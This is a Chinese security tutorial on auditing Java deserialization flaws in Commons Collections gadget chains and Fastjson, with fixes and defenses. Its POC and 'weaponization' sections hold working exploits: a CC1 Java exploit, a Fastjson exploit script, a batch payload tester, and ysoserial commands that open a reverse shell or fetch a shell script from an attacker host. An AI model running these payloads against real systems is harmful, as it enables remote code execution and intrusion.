首页 / 文章 / 代码审计

Java反序列化漏洞审计实战:从CC链到Fastjson

前言:为什么Java反序列化仍然是高危漏洞

2025年CISA KEV目录新增漏洞中,Java反序列化相关漏洞占比达到17%。从2015年Apache Commons Collections(CC链)的爆发,到Fastjson多次绕过修复的攻防拉锯,Java反序列化漏洞始终是攻击者的"万能钥匙"——一次成功的反序列化攻击即可实现远程代码执行(RCE),无需认证、无需用户交互。

作为安全研究人员,理解反序列化漏洞不仅是会用ysoserial一键打点,更要掌握审计方法论——知道在代码中如何定位漏洞点、如何判断利用条件、如何构造有效的攻击链。本文将从Java序列化机制底层原理出发,逐层拆解CC链与Fastjson两大生态的漏洞原理,并总结一套可落地的审计方法论。

一、Java序列化机制基础

1.1 序列化与反序列化的本质

Java序列化将对象转换为字节流,反序列化将字节流还原为对象。核心接口是java.io.Serializable

public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    private String username;
    private transient String password;  // transient字段不参与序列化
    
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
}

关键方法(魔法方法):

方法 触发时机 审计关注点
readObject() 反序列化时自动调用 🔴 最危险入口
readResolve() readObject之后调用 🟡 可能被利用绕过
finalize() GC回收时调用 🟡 延迟触发
readExternal() Externalizable接口 🔴 危险入口
validateObject() Validator接口 🟠 逻辑缺陷

1.2 反序列化触发场景

// 场景1:直接反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// 场景2:RMI/JNDI远程调用
Registry registry = LocateRegistry.getRegistry("192.168.1.100", 1099);
Remote obj = registry.lookup("evilObject");

// 场景3:JMX(Java管理扩展)
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://attacker:1099/jmxrmi");

// 场景4:Fastjson/Jackson等JSON库
User user = JSON.parseObject(jsonString, User.class);

// 场景5:Shiro RememberMe
// Cookie中的rememberMe字段经过Base64解码后直接反序列化
byte[] decoded = Base64.decode(cookieValue);

二、Commons Collections链深度剖析

2.1 为什么CC链如此经典

Apache Commons Collections是Java生态中使用最广泛的集合工具库之一。其Transformer接口的设计允许函数式操作,但也为攻击者提供了"组装"恶意操作链的能力。

2.2 CC1链(TransformedMap版本)

利用条件: JDK < 8u71,Commons Collections 3.x

调用链:

ObjectInputStream.readObject()
  └─ AnnotationInvocationHandler.readObject()
       └─ TransformedMap.checkSetValue()
            └─ ChainedTransformer.transform()
                 └─ ConstantTransformer.transform()
                 └─ InvokerTransformer.transform()
                      └─ Runtime.getRuntime().exec()

POC代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        // 1. 构建Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"})
        };
        
        ChainedTransformer chain = new ChainedTransformer(transformers);
        
        // 2. 构造恶意Map
        Map innerMap = new HashMap();
        innerMap.put("value", "anything");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        
        // 3. 通过AnnotationInvocationHandler触发
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(
            Override.class, outerMap);
        
        // 4. 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        oos.close();
        
        // 5. 反序列化触发
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();  // RCE触发点
    }
}

2.3 CC6链(通用版,无JDK版本限制)

CC6链是ysoserial中兼容性最好的链之一,利用HashMapHashSethashCode()触发,不依赖JDK内部类。

// CC6核心:TiedMapEntry + HashMap
// 调用链简化:
// HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode()
//   -> TiedMapEntry.getValue() -> LazyMap.get()
//   -> ChainedTransformer.transform() -> RCE

// ysoserial生成payload
// java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/$(whoami)" > payload.ser

2.4 CC链各版本对照表

CC链版本 依赖JDK Commons Collections 触发入口 利用难度
CC1 < 8u71 3.1-3.2.1 AnnotationInvocationHandler
CC2 不限 4.0 PriorityQueue ⭐⭐
CC3 < 8u71 3.1-3.2.1 TemplatesImpl ⭐⭐
CC4 不限 4.0 PriorityQueue + TemplatesImpl ⭐⭐
CC5 不限 3.1-3.2.1 BadAttributeValueExpException ⭐⭐
CC6 不限 3.1-3.2.1 HashMap + TiedMapEntry
CC7 不限 3.1-3.2.1 Hashtable ⭐⭐⭐

三、Fastjson漏洞原理与利用

3.1 Fastjson反序列化机制

Fastjson的parseObject()在反序列化时会调用目标类的setter方法和getter方法,这个特性(AutoType)成为漏洞利用的核心。

// 正常使用
String json = "{\"@type\":\"com.example.User\",\"username\":\"admin\"}";
User user = JSON.parseObject(json, User.class);

// 恶意利用:指定@type为危险类
String evil = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
    "\"dataSourceName\":\"ldap://attacker.com/EvilObject\"," +
    "\"autoCommit\":true}";
JSON.parseObject(evil);  // 触发JNDI注入

3.2 Fastjson历史绕过版本

Fastjson版本 Bypass手法 核心原理
<= 1.2.24 @type直接利用 无AutoType检查
<= 1.2.47 缓存绕过 利用mappings缓存投毒
<= 1.2.68 expectClass绕过 期望类检查缺陷
<= 1.2.80 特定Gadget ThrowableDeserializer绕过

3.3 Fastjson <= 1.2.47 缓存投毒POC

#!/usr/bin/env python3
"""Fastjson 1.2.47 缓存投毒利用"""
import requests
import sys

def exploit(target_url, ldap_url):
    payload = {
        "name": {
            "@type": "java.lang.Class",
            "val": "com.sun.rowset.JdbcRowSetImpl"
        },
        "x": {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": ldap_url,
            "autoCommit": True
        }
    }
    
    headers = {
        "Content-Type": "application/json"
    }
    
    try:
        # 第一次请求:缓存投毒
        resp = requests.post(
            target_url,
            json=payload,
            headers=headers,
            timeout=10
        )
        print(f"[+] Response status: {resp.status_code}")
        print(f"[+] Response body: {resp.text[:200]}")
        
        if resp.status_code == 200:
            print("[✓] Payload sent successfully!")
            print("[*] Check your LDAP/JNDI listener for callback")
        else:
            print(f"[-] Unexpected response: {resp.status_code}")
            
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <ldap_url>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

3.4 Fastjson漏洞检测方法论

def detect_fastjson(target_url):
    """多阶段检测Fastjson漏洞"""
    tests = [
        # 阶段1:DNS出网检测
        {
            "payload": {"@type": "java.net.Inet4Address", "val": "dnslog.example.com"},
            "type": "dns",
            "note": "检测Fastjson是否开启AutoType且可出网"
        },
        # 阶段2:报错回显检测
        {
            "payload": {"@type": "java.lang.AutoCloseable", "a": "b"},
            "type": "error",
            "note": "通过报错信息确认Fastjson版本"
        },
        # 阶段3:版本指纹
        {
            "payload": {"@type": "java.net.Inet6Address", "val": "dnslog2.example.com"},
            "type": "dns",
            "note": "细分版本指纹"
        }
    ]
    
    for i, test in enumerate(tests):
        print(f"[*] Test {i+1}: {test['note']}")
        resp = requests.post(target_url, json=test['payload'],
                           headers={"Content-Type": "application/json"})
        print(f"    Status: {resp.status_code}, Length: {len(resp.text)}")

四、代码审计方法论

4.1 审计入口点定位

# 1. 搜索反序列化入口函数
grep -rn "readObject\|readUnshared\|readExternal\|readResolve" --include="*.java" src/

# 2. 搜索JSON反序列化(Fastjson/Jackson/Gson)
grep -rn "parseObject\|parseArray\|readValue\|fromJson" --include="*.java" src/

# 3. 搜索JNDI/RMI入口
grep -rn "lookup\|InitialContext\|NamingContext" --include="*.java" src/

# 4. 搜索XStream/XMLDecoder等XML反序列化
grep -rn "fromXML\|XMLDecoder\|XStream" --include="*.java" src/

# 5. 搜索第三方库已知危险调用
grep -rn "ObjectInputStream\|ByteArrayInputStream" --include="*.java" src/ | grep -v "test"

4.2 危险类Sink点识别

// Sink Class清单(需要重点审计)
// 1. JNDI相关
javax.naming.InitialContext.lookup()
com.sun.jndi.ldap.LdapCtx.lookup()

// 2. 命令执行
java.lang.Runtime.exec()
java.lang.ProcessBuilder.start()

// 3. 类加载
java.net.URLClassLoader
java.lang.ClassLoader.defineClass()
javax.script.ScriptEngineManager

// 4. 反射调用
java.lang.reflect.Method.invoke()
java.lang.Class.forName()

// 5. 文件操作
java.io.FileOutputStream
java.nio.file.Files.write()

4.3 实战审计案例:某电商平台

// 漏洞代码示例
@RestController
@RequestMapping("/api")
public class DataController {
    
    @PostMapping("/import")
    public String importData(@RequestBody byte[] data) {
        try {
            // 危险:直接反序列化用户输入
            ByteArrayInputStream bais = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(bais);
            Object obj = ois.readObject();  // 🔴 RCE入口
            return "Import success: " + obj.toString();
        } catch (Exception e) {
            return "Import failed: " + e.getMessage();
        }
    }
    
    @PostMapping("/config")
    public String loadConfig(@RequestBody String json) {
        // 危险:AutoType未关闭
        Object config = JSON.parseObject(json, Feature.SupportAutoType);  // 🔴 RCE入口
        return "Config loaded: " + config.toString();
    }
}

修复方案:

// 方案1:白名单类过滤器
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.company.model.User",
        "com.company.model.Order",
        "java.util.ArrayList",
        "java.util.HashMap"
    );
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", 
                desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// 方案2:Fastjson关闭AutoType
// 升级到最新版本并配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 如需使用,启用SafeMode:
ParserConfig.getGlobalInstance().setSafeMode(true);

// 方案3:使用SerialKiller等过滤器
// Maven依赖:org.nibblesec.tools:serialkiller

五、ysoserial实战武器化

5.1 常用Payload速查

# 查看所有可用payload
java -jar ysoserial.jar

# DNS探测(验证漏洞存在)
java -jar ysoserial.jar URLDNS http://your-dnslog.cn | base64

# CC6链 - 反弹shell
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFza...}|{base64,-d}|{bash,-i}" | base64

# CommonsBeanutils1 - 无CC依赖
java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh -o /tmp/shell.sh" | base64

# Spring框架环境
java -jar ysoserial.jar Spring1 "open -a Calculator" | base64

5.2 自定义Payload生成器

#!/usr/bin/env python3
"""批量生成反序列化Payload并测试"""
import subprocess
import base64
import requests
from concurrent.futures import ThreadPoolExecutor

PAYLOADS = {
    "CC1": "CommonsCollections1",
    "CC2": "CommonsCollections2",
    "CC3": "CommonsCollections3",
    "CC4": "CommonsCollections4",
    "CC5": "CommonsCollections5",
    "CC6": "CommonsCollections6",
    "CC7": "CommonsCollections7",
    "CB1": "CommonsBeanutils1",
    "Spring1": "Spring1",
    "Spring2": "Spring2",
    "Jdk7u21": "Jdk7u21",
    "ROME": "ROME",
    "Hibernate1": "Hibernate1",
}

def generate_payload(gadget_name, command):
    """调用ysoserial生成Base64编码的payload"""
    try:
        result = subprocess.run(
            ["java", "-jar", "ysoserial.jar", gadget_name, command],
            capture_output=True, timeout=10
        )
        if result.returncode == 0:
            return base64.b64encode(result.stdout).decode()
    except Exception as e:
        print(f"[-] {gadget_name} generation failed: {e}")
    return None

def test_single_payload(target_url, name, gadget, command, cookie_key=None):
    """测试单个payload"""
    payload = generate_payload(gadget, command)
    if not payload:
        return (name, False, "Generation failed")
    
    cookies = {cookie_key: payload} if cookie_key else {}
    
    try:
        resp = requests.post(target_url, data=payload, cookies=cookies, timeout=5)
        return (name, resp.status_code, len(resp.text))
    except Exception as e:
        return (name, False, str(e))

def batch_test(target_url, command="curl http://dnslog.cn/$(whoami)", cookie_key=None):
    """并发测试所有Gadget链"""
    results = []
    with ThreadPoolExecutor(max_workers=5) as executor:
        futures = []
        for name, gadget in PAYLOADS.items():
            future = executor.submit(
                test_single_payload, target_url, name, gadget, command, cookie_key
            )
            futures.append(future)
        
        for future in futures:
            results.append(future.result())
    
    print("\n=== Test Results ===")
    for name, status, detail in results:
        symbol = "✓" if status == 200 else "✗"
        print(f"  [{symbol}] {name}: status={status}, detail={detail}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python3 ysoserial_batch.py <target_url> [cookie_key]")
        sys.exit(1)
    batch_test(sys.argv[1], cookie_key=sys.argv[2] if len(sys.argv) > 2 else None)

六、防御体系与纵深防护

6.1 多层次防御架构

┌─────────────────────────────────┐
│         应用层防御               │
│  - 白名单类过滤器               │
│  - Fastjson SafeMode            │
│  - Jackson enableDefaultTyping禁│
│  - 避免接受序列化数据           │
├─────────────────────────────────┤
│         网络层防御               │
│  - 限制出站DNS/LDAP/RMI         │
│  - JNDI外连阻断                 │
│  - WAF签名检测                  │
├─────────────────────────────────┤
│         运行时防御               │
│  - RASP (Runtime Application    │
│    Self-Protection)             │
│  - JVM安全策略                  │
│  - SecurityManager              │
├─────────────────────────────────┤
│         监控层                   │
│  - 反序列化异常告警             │
│  - JNDI外连告警                 │
│  - 类加载监控                   │
└─────────────────────────────────┘

6.2 RASP防护示例

// 简单的RASP Hook示例(基于Java Agent)
public class DeserializationGuard {
    
    public static void hookObjectInputStream() {
        // 使用ByteBuddy或ASM对ObjectInputStream.resolveClass进行Hook
        // 拦截非白名单类的反序列化
        
        // 伪代码:
        // Interceptor.on(ObjectInputStream.class, "resolveClass")
        //     .before(invocation -> {
        //         String className = invocation.getArgument(0).getName();
        //         if (className.startsWith("org.apache.commons.collections")) {
        //             throw new SecurityException("Blocked deserialization: " + className);
        //         }
        //     });
    }
}

七、总结与建议

审计CheckList

  • 全局搜索 readObjectreadUnshared 调用点
  • 检查 Fastjson/Jackson 的 AutoType 配置
  • 验证 JNDI 注入点(lookupInitialContext
  • 审查 ObjectInputStream 是否使用了白名单过滤器
  • 检查 Shiro RememberMe 密钥是否为默认值
  • 确认 Weblogic/JBoss 等中间件补丁状态
  • 测试出网能力(DNS外带检测)
  • 扫描第三方依赖的已知反序列化Gadget

Java反序列化漏洞不会消失——新的Gadget链在持续被发现,新的JSON库在引入新的攻击面。作为安全从业者,我们需要的不是死记硬背几个payload,而是建立系统化的审计思维,在代码中快速定位风险点、准确评估利用条件、高效验证漏洞存在性。希望本文的审计框架能成为你日常工作中的实用参考。